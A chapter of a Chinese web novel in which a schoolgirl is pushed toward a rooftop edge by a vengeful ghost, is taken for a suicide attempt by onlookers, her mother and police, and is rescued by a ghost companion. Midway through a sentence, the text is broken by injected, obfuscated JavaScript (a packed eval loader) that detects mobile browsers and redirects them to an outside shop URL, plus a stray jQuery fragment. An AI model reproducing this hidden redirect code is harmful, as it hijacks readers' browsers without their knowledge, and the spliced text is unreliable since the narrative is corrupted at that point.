没几分钟,小区楼下围满人,他们看不到恶鬼,只看到天台上的陈望夏,以为要跳楼自杀:“这么年轻的娃,咋就想不开呢。”
“快下来。”
“她穿着校服,还是学生,会不会是学习压力太大了?一中之前不是也有个女孩,因为学习压力太大,在学校跳楼自杀了吗?”
一个大妈扬声劝:“没什么事是解决不了,先下来再说。”
其他人附和:“孩子,得想想你父母,他们含辛茹苦养大你,肯定不希望看到你这样。”
“对啊。”
他们不愿小区发生跳楼自杀的事,有些是心善不忍,有些是怕房价跌。
于是挨个轮番劝说。
江柔下班回来,刚停好车,见小区楼下拥挤不堪,不明所以。当听到不少人嘴里蹦出跳楼等字眼,她顺着他们视线往楼上看。
只看一眼,整个人就僵住了,手里车钥匙坠地。
她喃喃:“夏夏。”
怎么会是夏夏,不可能。
可事实告诉她,站在上面的就是她女儿陈望夏。江柔推开人群,跑进楼里,不曾想电梯坏了。
她改爬楼梯上去。
天台。
陈望夏被恶鬼压住身体,推着走到围栏边缘,一只脚被迫抬起,踏空,看着像要往下跳。
楼下有些胆子小的人尖叫起来:“要跳了,要跳了。”
恶鬼看着那些人,肆意放声狂笑,既笑他们无知,又笑自己即将能报仇。
她没吭声,想趁恶鬼不注意,挣脱开跳下围栏,逃离天台。
就在陈望夏快要成功时,他一把将她扯了回去:“你现在后悔当初多管闲事吗?”
“不后悔。”
回答后悔,他也不会放过她,她何必违背良心。
恶鬼眼神骤冷:“现在嘴硬没关系,等你掉下去,恐怕就会后悔了。”说着,不停地往前推。
楼下又是一阵尖叫。
江柔正在爬楼梯,听到他们惊呼,手脚发抖,冷汗飙出来,却不敢往窗外看,唯恐看到陈望夏从天台坠落。
她不顾腿酸软,接着爬。
陈望夏不知道江柔在爬楼梯上来,她正想办法对付恶鬼。其实说不怕对方,是不可能的,但怕解决不了任何问题,得冷静下来。
喊赵见川,他就会出现。
要不要喊?
抛开赵见川有事要办不说,如果可以,她更希望能够自救。
陈望夏不动声色地看了一眼天台外,又看了一眼面目狰狞的恶鬼。他要推她下楼,她也可以反过来推他下楼。
他是恶鬼,又不是人。
虽说鬼掉下去不会再死一回,但好歹给她争取点逃跑时间。
不过人与鬼的力量悬殊,她不一定推得动。可事到如今,什么都得做一下,万一成功了呢。
“我发现你当人垃圾,当鬼也垃圾,只会欺负女的。”陈望夏先说话分散恶鬼的注意力。
他果然上钩,推她的动作变缓:“我来找你,是要报仇。”
她嘲讽地笑。
“今天不是你第一天变成恶鬼吧,为什么过了几天才来找我?让我想想,是因为我身边有另一只鬼,你怕他,所以不敢动手?”
恶鬼恼羞成怒。
“不是。”
陈望夏见有效,又说:“我不信,不然怎么这么巧,他前一脚刚走,你后一脚就来找我了。”
“你闭嘴。”
她激他:“被我说中,恼羞成怒了?可惜无论如何,都改变不了你是个没用的垃圾的事实。”
“我让你闭嘴,听没听到?”恶鬼面目更狰狞,抬起一只手,想扇陈望夏一巴掌,教训她。
他只剩一只手抓她了。
她抓住机会,用双手推恶鬼。他一不留神被推了出去,落入空中,如一片枯黄腐烂的叶子。
要坠落的最后一刻,恶鬼拉住陈望夏手腕,拖她下去。
楼下尖叫声到达高潮。
“啊!”
陈望夏只觉天地骤然颠倒,风灌进口鼻,堵塞呼吸。在下坠过程中,她本能攥住围栏杆,不松手,然后踹了一脚恶鬼,踢开他。
身体悬空,仅仅靠手臂支撑,陈望夏咬牙吃力。
掌心被铁做的围栏杆磨红割破,血顺着她手腕流下,滴答几声,砸到头,又顺着额头滑落,渐渐渗进眼睛,里面一片赤红。
疼。
陈望夏想爬上去,奈何双手实在支撑不起来身体的重量,脚也没法抬高,卡到围栏杆上边。
“赵见川!”
她终究还是喊了他。
一秒、两秒、三秒……赵见川没出现。是他在办事,抽不开身,还是他离她太远,听不见?
楼下人见陈望夏跳下来,又攥紧围栏杆,也不觉得奇怪。毕竟有些人自杀的最后一刻会后悔,改变主意,想继续活下去。
陈望夏手太疼,沾血又滑,力竭,快要攥不住围栏杆。
身子一晃,差点掉下去。
就在这时,赵见川突然出现,抓住她的手:“抓紧我。”
他拉她爬上来。
劫后余生,陈望夏软躺在地上,濒临死亡的感觉尤在,她扒着赵见川不放,大口喘气。他自责:“对不起,我来晚了。”
陈望夏缓过来了:“你没有来晚,你也没有对不起我,是我该谢谢你,又救了我。”
赵见川轻抚去她滑到下巴的一滴汗,扶她站起。
天台门被人推开。
江柔从里面跑出来,双眼通红,语气急促:“夏夏。”
陈望夏:“妈。”
江柔急忙扯住她,几乎呈禁锢状,担心她再往楼下跳:“你、你刚刚站上去是要……要干什么?”自杀两个字说不出口。
陈望夏不知道怎么解释,说鬼拉她上去的,江柔铁定不信,直接送她去精神病院都有可能。
她迟迟不开口,江柔更着急了。
“你说话呀。”
“如果我说,这不是我本意,你信吗?”
江柔哪能信:“什么叫不是你本意,难道有人逼着你跳楼不成?”
陈望夏头疼:“对。”
她没说是鬼。
“陈望夏。”江柔刚亲眼见证她“跳楼”,又听她睁着眼说瞎话,情绪失控,喊了她全名,“都到这个地步了,还胡说什么?”
陈望夏不吭声了。
气氛僵持,江柔拽她,打破僵局:“走,我们下去。”
赵见川松开陈望夏的手,走到围栏前,想看恶鬼坠楼后躲哪儿,解决他。她不由自主甩开江柔的手,拉住赵见川:“去哪儿?”
“找他。”
在江柔看来,她女儿甩开了自己的手,又自言自语朝围栏走,像是神志不清,企图再次跳楼。
江柔吓得腿发软,从陈望夏身后抱过去,牢牢环住她腰:“别!妈错了,刚刚不该凶你的。”
心理医生说过,不该刺激她的,一气之下就记不住了。
“求你了,跟我下去。”
陈望夏万分无奈:“不是你想的那样,我……”
她没能把话说完,警察来了,要带她们下去,了解相关情况,跳楼这件事造成的影响不小。
警察怕刺激到陈望夏,派几个女警跟她闲聊些无关紧要的,进行心理疏导,希望能打开心结
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041303|194690||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,而江柔被他们带走询问了。
大约过了半个小时。
她们认为陈望夏平静下来了,将话题转到跳楼。
“我没想跳楼。”她回。
他们面面相觑,很重视:“你意思是,有人威胁你跳楼?”
“不是。”
“既不是你想跳楼,也不是有人威胁,那你为什么跳楼?能告诉我们吗?”他们循循善诱。
陈望夏经历完今天的“跳楼”事件,没心情想借口,又不想撒谎:“反正不是我想跳的。”
警察面面相觑,没信。
监控显示,陈望夏是自己走上楼顶,在天台站着,原地不动几分钟,再下定决心跳楼的。
她当时披头散发,挡住脸,看不清表情,更看不清楚眼睛。可就算看不清脸,他们也能通过这个监控,确认没人抓她上楼。
她跳楼的那瞬间也被监控拍到了,身边没有人。
陈望夏还主动脱鞋子,在围栏上不断徘徊,不存在失足坠楼。据调查,这段时间,她母亲江柔,一直有带她去看心理医生。
一切证据都指向陈望夏心理出了问题,跳楼自杀未遂。
不过警察没和陈望夏争论这个,她不想承认,他们也不能逼她承认,承不承认已经不重要了,眼下最重要的是打消轻生的念头。
她们展开新一轮心理疏导。
陈望夏看她们的反应就知道监控里的内容有问题,肯定是那个鬼弄晕她之后,操控着她身体上楼的。
真是跳进黄河都洗不清了。
赵见川没找到恶鬼,回到陈望夏身边,陪着她。
折腾了很久,警察才肯放陈望夏回家,叮嘱江柔最近多留意她,尽量别让她一个人待着。
回家后,江柔准备和她睡。
赵见川自动回避。
自上幼儿园起,陈望夏就没和江柔睡过了,今晚破天荒睡到一起,有点不习惯。她翻来覆去:“妈,你回去睡吧,我没事的。”
江柔闭眼:“睡你的觉。”
陈望夏哼了声,翻身背对她,还拉被子盖过头。
“睡觉不许盖头,对身体不好。”江柔掀开被子,放到肩下面,露出她的头,“记住了没?”
从回家到现在,江柔没再提过跳楼的事,当没发生过。
江柔不提,陈望夏也不提,她睡不着,没话找话:“爸这次出差好久,什么时候回来?”
“办完事就回来。”
她转过身:“爸出差前一晚,你们是不是吵架了?”
说起他,江柔皱了下眉:“谁家夫妻不吵架?以前又不是没吵过,不是什么大事,你别管。”
陈望夏探出试探的脚:“你们在吵什么?”他们吵架时,好像有提到过她,吵架是因为她?
江柔:“你听到了什么?”
她实话实说:“只听到你们提到我,至于其他,没听清。”
“你爸想再生一个。”江柔说,“我养你一个已经够精疲力尽了,还来一个,想我死啊。”
陈望夏目瞪口呆。
“他想生,自己生去。”江柔似埋怨他管生不管教,“要不是他……不怎么管你,你怎么会变成今天这样神叨叨的。”
陈望夏忍不住反驳:“我哪里神叨叨了。”是他们死活不信这世上存在鬼,她有什么办法。
江柔不想谈她爸。
“快睡觉。”
“哦。”陈望夏凑过去亲了一口江柔侧脸,“妈,晚安。”
江柔不像以前那样嫌弃推开她,骂肉麻,而是低声说了句话。太小声了,陈望夏没听清:“你说什么?我刚刚没听清。”
“没什么。”